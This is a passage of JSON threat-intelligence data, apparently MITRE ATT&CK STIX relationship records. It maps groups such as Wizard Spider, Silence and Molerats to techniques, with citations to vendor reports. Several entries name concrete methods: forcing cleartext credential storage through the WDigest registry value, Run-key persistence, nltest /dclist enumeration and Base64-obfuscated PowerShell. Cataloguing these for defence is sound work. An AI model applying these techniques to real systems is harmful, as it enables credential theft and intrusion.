                    "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."
                }
            ],
            "description": "[Mofang](https://attack.mitre.org/groups/G0103)'s spearphishing emails required a user to click the link to connect to a compromised website.(Citation: FOX-IT May 2016 Mofang)",
            "relationship_type": "uses",
            "id": "relationship--78a49769-fec0-4961-a25d-fc5eab623e93",
            "type": "relationship",
            "modified": "2020-05-12T22:05:50.747Z",
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        },
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                {
                    "source_name": "FOX-IT May 2016 Mofang",
                    "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf",
                    "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."
                }
            ],
            "description": "[Mofang](https://attack.mitre.org/groups/G0103) delivered spearphishing emails with malicious links included.(Citation: FOX-IT May 2016 Mofang)",
            "relationship_type": "uses",
            "id": "relationship--0f29f072-1eb1-4711-8679-19580f16b351",
            "type": "relationship",
            "modified": "2020-05-12T22:05:50.811Z",
            "created": "2020-05-12T22:05:50.811Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--88489675-d216-4884-a98f-49a89fcc1643",
            "target_ref": "tool--115f88dd-0618-4389-83cb-98d33ae81848",
            "relationship_type": "uses",
            "id": "relationship--69aa300b-3e31-438c-99bf-4822141046c5",
            "type": "relationship",
            "modified": "2020-05-15T15:36:36.960Z",
            "created": "2020-05-12T22:05:50.826Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--88489675-d216-4884-a98f-49a89fcc1643",
            "target_ref": "malware--5763217a-05b6-4edd-9bca-057e47b5e403",
            "relationship_type": "uses",
            "id": "relationship--6f82d8a7-d168-4e19-97d2-3950f0c649ce",
            "type": "relationship",
            "modified": "2020-05-15T15:36:36.961Z",
            "created": "2020-05-12T22:05:50.828Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--9b19d6b4-cfcb-492f-8ca8-8449e7331573",
            "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c",
            "external_references": [
                {
                    "source_name": "FireEye MESSAGETAP October 2019",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/10/messagetap-who-is-reading-your-text-messages.html",
                    "description": "Leong, R., Perez, D., Dean, T. (2019, October 31). MESSAGETAP: Who\u2019s Reading Your Text Messages?. Retrieved May 11, 2020."
                }
            ],
            "description": "[MESSAGETAP](https://attack.mitre.org/software/S0443) stored targeted SMS messages that matched its target list in CSV files on the compromised system.(Citation: FireEye MESSAGETAP October 2019)",
            "relationship_type": "uses",
            "id": "relationship--aa12e2a6-02e7-4001-af7b-6a60021ddbfd",
            "type": "relationship",
            "modified": "2020-06-24T01:43:11.352Z",
            "created": "2020-05-12T22:21:54.139Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--ead23196-d7b6-4ce6-a124-4ab4b67d81bd",
            "target_ref": "attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58",
            "external_references": [
                {
                    "source_name": "Symantec Inception Framework March 2018",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/inception-framework-hiding-behind-proxies",
                    "description": "Symantec. (2018, March 14). Inception Framework: Alive and Well, and Hiding Behind Proxies. Retrieved May 8, 2020."
                }
            ],
            "description": "[Inception](https://attack.mitre.org/groups/G0100) has enumerated installed software on compromised systems.(Citation: Symantec Inception Framework March 2018)",
            "relationship_type": "uses",
            "id": "relationship--3c9c3d3d-a209-43dc-ae8d-53cd4c1de65c",
            "type": "relationship",
            "modified": "2020-05-12T22:22:08.596Z",
            "created": "2020-05-12T22:22:08.596Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7",
            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "external_references": [
                {
                    "source_name": "CrowdStrike Grim Spider May 2019",
                    "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/",
                    "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020."
                }
            ],
            "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has modified the Registry key <code>HKLM\\System\\CurrentControlSet\\Control\\SecurityProviders\\WDigest</code> by setting the <code>UseLogonCredential</code> registry value to <code>1</code> in order to force credentials to be stored in clear text in memory.(Citation: CrowdStrike Grim Spider May 2019)",
            "relationship_type": "uses",
            "id": "relationship--75f0ea4c-5b88-4b14-9859-67379f4ba9b0",
            "type": "relationship",
            "modified": "2020-05-13T12:42:06.757Z",
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        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7",
            "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e",
            "external_references": [
                {
                    "source_name": "CrowdStrike Grim Spider May 2019",
                    "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/",
                    "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020."
                }
            ],
            "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has lured victims to execute malware with spearphishing attachments containing macros to download either [Emotet](https://attack.mitre.org/software/S0367), Bokbot, or [TrickBot](https://attack.mitre.org/software/S0266).(Citation: CrowdStrike Grim Spider May 2019)",
            "relationship_type": "uses",
            "id": "relationship--53e1bf2f-7ab4-4173-879b-9975618c4527",
            "type": "relationship",
            "modified": "2020-05-13T12:42:06.786Z",
            "created": "2020-05-13T12:42:06.786Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7",
            "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c",
            "external_references": [
                {
                    "source_name": "CrowdStrike Grim Spider May 2019",
                    "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/",
                    "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020."
                },
                {
                    "source_name": "FireEye KEGTAP SINGLEMALT October 2020",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html",
                    "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020."
                }
            ],
            "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used scheduled tasks to install [TrickBot](https://attack.mitre.org/software/S0266), using task names to appear legitimate such as WinDotNet, GoogleTask, or Sysnetsf.(Citation: CrowdStrike Grim Spider May 2019) It has also used common document file names for other malware binaries.(Citation: FireEye KEGTAP SINGLEMALT October 2020)",
            "relationship_type": "uses",
            "id": "relationship--7e555910-0e1b-403d-a369-e7a2e8e61670",
            "type": "relationship",
            "modified": "2020-11-10T17:28:19.629Z",
            "created": "2020-05-13T13:20:59.322Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7",
            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "external_references": [
                {
                    "source_name": "CrowdStrike Grim Spider May 2019",
                    "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/",
                    "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020."
                },
                {
                    "source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a",
                    "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020."
                },
                {
                    "source_name": "FireEye KEGTAP SINGLEMALT October 2020",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html",
                    "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020."
                },
                {
                    "source_name": "DFIR Ryuk 2 Hour Speed Run November 2020",
                    "url": "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/",
                    "description": "The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020."
                }
            ],
            "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used scheduled tasks establish persistence for [TrickBot](https://attack.mitre.org/software/S0266) and other malware.(Citation: CrowdStrike Grim Spider May 2019)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)",
            "relationship_type": "uses",
            "id": "relationship--57f8c6d0-406d-4e97-b3ff-5b2f0274231b",
            "type": "relationship",
            "modified": "2020-11-10T18:04:02.180Z",
            "created": "2020-05-13T13:20:59.339Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "external_references": [
                {
                    "source_name": "CrowdStrike Grim Spider May 2019",
                    "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/",
                    "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020."
                },
                {
                    "source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a",
                    "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020."
                },
                {
                    "source_name": "FireEye KEGTAP SINGLEMALT October 2020",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html",
                    "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020."
                },
                {
                    "source_name": "Red Canary Hospital Thwarted Ryuk October 2020",
                    "url": "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/ ",
                    "description": "Brian Donohue, Katie Nickels, Paul Michaud, Adina Bodkins, Taylor Chapman, Tony Lambert, Jeff Felling, Kyle Rainey, Mike Haag, Matt Graeber, Aaron Didier.. (2020, October 29). A Bazar start: How one hospital thwarted a Ryuk ransomware outbreak. Retrieved October 30, 2020."
                }
            ],
            "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used macros to execute PowerShell scripts to download malware on victim's machines.(Citation: CrowdStrike Grim Spider May 2019) It has also used PowerShell to execute commands and move laterally through a victim network.(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: Red Canary Hospital Thwarted Ryuk October 2020)",
            "relationship_type": "uses",
            "id": "relationship--73baa214-fbe6-477e-9beb-d1a08a6d117f",
            "type": "relationship",
            "modified": "2020-11-10T17:28:19.684Z",
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        },
        {
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            ],
            "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "external_references": [
                {
                    "source_name": "CrowdStrike Grim Spider May 2019",
                    "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/",
                    "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020."
                }
            ],
            "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used file deletion to remove some modules and configurations from an infected host after use.(Citation: CrowdStrike Grim Spider May 2019)",
            "relationship_type": "uses",
            "id": "relationship--5c252868-1474-4fed-b3b2-07a6d3415034",
            "type": "relationship",
            "modified": "2020-05-13T13:58:12.424Z",
            "created": "2020-05-13T13:58:12.424Z"
        },
        {
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            ],
            "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "external_references": [
                {
                    "source_name": "CrowdStrike Grim Spider May 2019",
                    "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/",
                    "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020."
                }
            ],
            "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has installed [TrickBot](https://attack.mitre.org/software/S0266) as a service named ControlServiceA in order to establish persistence.(Citation: CrowdStrike Grim Spider May 2019)",
            "relationship_type": "uses",
            "id": "relationship--2b5965fe-b178-4c03-91af-942491c79302",
            "type": "relationship",
            "modified": "2020-05-13T13:58:12.493Z",
            "created": "2020-05-13T13:58:12.493Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7",
            "target_ref": "attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5",
            "external_references": [
                {
                    "source_name": "CrowdStrike Grim Spider May 2019",
                    "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/",
                    "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020."
                }
            ],
            "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used stolen credentials to copy tools into the <code>%TEMP%</code> directory of domain controllers.(Citation: CrowdStrike Grim Spider May 2019)",
            "relationship_type": "uses",
            "id": "relationship--4f243ab6-812f-4fd3-9607-8d94409a94c1",
            "type": "relationship",
            "modified": "2020-05-15T18:52:17.533Z",
            "created": "2020-05-13T15:28:06.633Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7",
            "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf",
            "external_references": [
                {
                    "source_name": "CrowdStrike Grim Spider May 2019",
                    "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/",
                    "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020."
                },
                {
                    "source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a",
                    "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020."
                },
                {
                    "source_name": "DFIR Ryuk 2 Hour Speed Run November 2020",
                    "url": "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/",
                    "description": "The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020."
                }
            ],
            "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used RDP for lateral movement.(Citation: CrowdStrike Grim Spider May 2019)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)",
            "relationship_type": "uses",
            "id": "relationship--43fabcba-66b6-45dc-b905-926f0a0a2bba",
            "type": "relationship",
            "modified": "2020-11-10T17:28:19.792Z",
            "created": "2020-05-13T15:28:06.685Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7",
            "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d",
            "external_references": [
                {
                    "source_name": "CrowdStrike Grim Spider May 2019",
                    "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/",
                    "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020."
                }
            ],
            "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has exfiltrated domain credentials and network enumeration information over command and control (C2) channels.(Citation: CrowdStrike Grim Spider May 2019)",
            "relationship_type": "uses",
            "id": "relationship--c51d9123-7f7e-41e6-8cf7-7c7dc4170ca0",
            "type": "relationship",
            "modified": "2020-05-15T18:52:17.609Z",
            "created": "2020-05-13T16:45:50.311Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "external_references": [
                {
                    "source_name": "CrowdStrike Grim Spider May 2019",
                    "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/",
                    "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020."
                }
            ],
            "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used HTTP for network communications.(Citation: CrowdStrike Grim Spider May 2019)",
            "relationship_type": "uses",
            "id": "relationship--93cd9a2c-48e3-4a95-90fb-6436afcfa7a8",
            "type": "relationship",
            "modified": "2020-05-13T16:45:50.316Z",
            "created": "2020-05-13T16:45:50.316Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7",
            "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e",
            "external_references": [
                {
                    "source_name": "CrowdStrike Grim Spider May 2019",
                    "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/",
                    "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020."
                }
            ],
            "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has collected and staged credentials and network enumeration information, using  the networkdll and psfin [TrickBot](https://attack.mitre.org/software/S0266) modules.(Citation: CrowdStrike Grim Spider May 2019)",
            "relationship_type": "uses",
            "id": "relationship--2c54816e-5dd1-4723-99f5-29c80a2fc171",
            "type": "relationship",
            "modified": "2020-05-13T16:45:50.317Z",
            "created": "2020-05-13T16:45:50.317Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "external_references": [
                {
                    "source_name": "FireEye Ryuk and Trickbot January 2019",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html",
                    "description": "Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020."
                },
                {
                    "source_name": "DFIR Ryuk's Return October 2020",
                    "url": "https://thedfirreport.com/2020/10/08/ryuks-return/",
                    "description": "The DFIR Report. (2020, October 8). Ryuk\u2019s Return. Retrieved October 9, 2020."
                }
            ],
            "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) used Base64 encoding to obfuscate an [Empire](https://attack.mitre.org/software/S0363) service and PowerShell commands.(Citation: FireEye Ryuk and Trickbot January 2019)(Citation: DFIR Ryuk's Return October 2020)",
            "relationship_type": "uses",
            "id": "relationship--5a2c4561-48e4-4d51-8f00-ff470a18df32",
            "type": "relationship",
            "modified": "2020-11-10T17:02:41.068Z",
            "created": "2020-05-13T17:16:11.074Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7",
            "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735",
            "external_references": [
                {
                    "source_name": "FireEye Ryuk and Trickbot January 2019",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html",
                    "description": "Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020."
                },
                {
                    "source_name": "CrowdStrike Grim Spider May 2019",
                    "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/",
                    "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020."
                },
                {
                    "source_name": "FireEye KEGTAP SINGLEMALT October 2020",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html",
                    "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020."
                },
                {
                    "source_name": "Red Canary Hospital Thwarted Ryuk October 2020",
                    "url": "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/ ",
                    "description": "Brian Donohue, Katie Nickels, Paul Michaud, Adina Bodkins, Taylor Chapman, Tony Lambert, Jeff Felling, Kyle Rainey, Mike Haag, Matt Graeber, Aaron Didier.. (2020, October 29). A Bazar start: How one hospital thwarted a Ryuk ransomware outbreak. Retrieved October 30, 2020."
                },
                {
                    "source_name": "DFIR Ryuk's Return October 2020",
                    "url": "https://thedfirreport.com/2020/10/08/ryuks-return/",
                    "description": "The DFIR Report. (2020, October 8). Ryuk\u2019s Return. Retrieved October 9, 2020."
                }
            ],
            "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used networkdll for network discovery and psfin specifically for financial and point of sale indicators. [Wizard Spider](https://attack.mitre.org/groups/G0102) has also used [AdFind](https://attack.mitre.org/software/S0552) and <code>nltest/dclist</code> to enumerate domain computers, including the domain controller.(Citation: FireEye Ryuk and Trickbot January 2019)(Citation: CrowdStrike Grim Spider May 2019)(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: Red Canary Hospital Thwarted Ryuk October 2020)(Citation: DFIR Ryuk's Return October 2020)",
            "relationship_type": "uses",
            "id": "relationship--df13cae2-4e20-4e89-ae60-6bd8b99e2342",
            "type": "relationship",
            "modified": "2020-12-28T19:06:02.060Z",
            "created": "2020-05-13T17:16:11.123Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7",
            "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81",
            "external_references": [
                {
                    "source_name": "CrowdStrike Grim Spider May 2019",
                    "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/",
                    "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020."
                }
            ],
            "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used valid credentials for privileged accounts with the goal of accessing domain controllers.(Citation: CrowdStrike Grim Spider May 2019) ",
            "relationship_type": "uses",
            "id": "relationship--ad06b85a-a0df-41aa-8f45-f41504987918",
            "type": "relationship",
            "modified": "2020-05-15T18:52:17.644Z",
            "created": "2020-05-13T17:16:11.136Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "external_references": [
                {
                    "source_name": "Group IB Silence Sept 2018",
                    "url": "https://www.group-ib.com/resources/threat-research/silence_moving-into-the-darkside.pdf",
                    "description": "Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020."
                }
            ],
            "description": "[Silence](https://attack.mitre.org/groups/G0091) has used <code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code>, <code>HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code>, and the Startup folder to establish persistence.(Citation: Group IB Silence Sept 2018)\t",
            "relationship_type": "uses",
            "id": "relationship--2d49852d-083e-4379-90e3-dcb0748be624",
            "type": "relationship",
            "modified": "2020-05-13T19:06:23.890Z",
            "created": "2020-05-13T19:06:23.890Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321",
            "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
            "external_references": [
                {
                    "source_name": "Group IB Silence Sept 2018",
                    "url": "https://www.group-ib.com/resources/threat-research/silence_moving-into-the-darkside.pdf",
                    "description": "Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020."
                }
            ],
            "description": "[Silence](https://attack.mitre.org/groups/G0091) has injected a DLL library containing a Trojan into the fwmain32.exe process.(Citation: Group IB Silence Sept 2018)",
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            "target_ref": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414",
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                    "url": "https://www.group-ib.com/resources/threat-research/silence_moving-into-the-darkside.pdf",
                    "description": "Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020."
                }
            ],
            "description": "[Silence](https://attack.mitre.org/groups/G0091) has used RAdmin, a remote software tool used to remotely control workstations and ATMs.(Citation: Group IB Silence Sept 2018)",
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                    "description": "Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020."
                }
            ],
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            "relationship_type": "uses",
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                    "description": "Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020."
                }
            ],
            "description": "[Silence](https://attack.mitre.org/groups/G0091) has used port 444 when sending data about the system from the client to the server.(Citation: Group IB Silence Sept 2018)\t",
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            "type": "relationship",
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                    "description": "GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020."
                }
            ],
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                    "description": "GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020."
                },
                {
                    "source_name": "Unit42 Molerat Mar 2020",
                    "url": "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/",
                    "description": "Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020."
                }
            ],
            "description": "[Molerats](https://attack.mitre.org/groups/G0021) used executables to download malicious files from different sources.(Citation: Kaspersky MoleRATs April 2019)(Citation: Unit42 Molerat Mar 2020) ",
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                    "description": "GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020."
                }
            ],
            "description": "[Molerats](https://attack.mitre.org/groups/G0021) has delivered compressed executables within ZIP files to victims.(Citation: Kaspersky MoleRATs April 2019)",
            "relationship_type": "uses",
            "id": "relationship--383a50af-eeeb-40e5-b4df-8a1a9c5baa69",
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                    "description": "GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020."
                },
                {
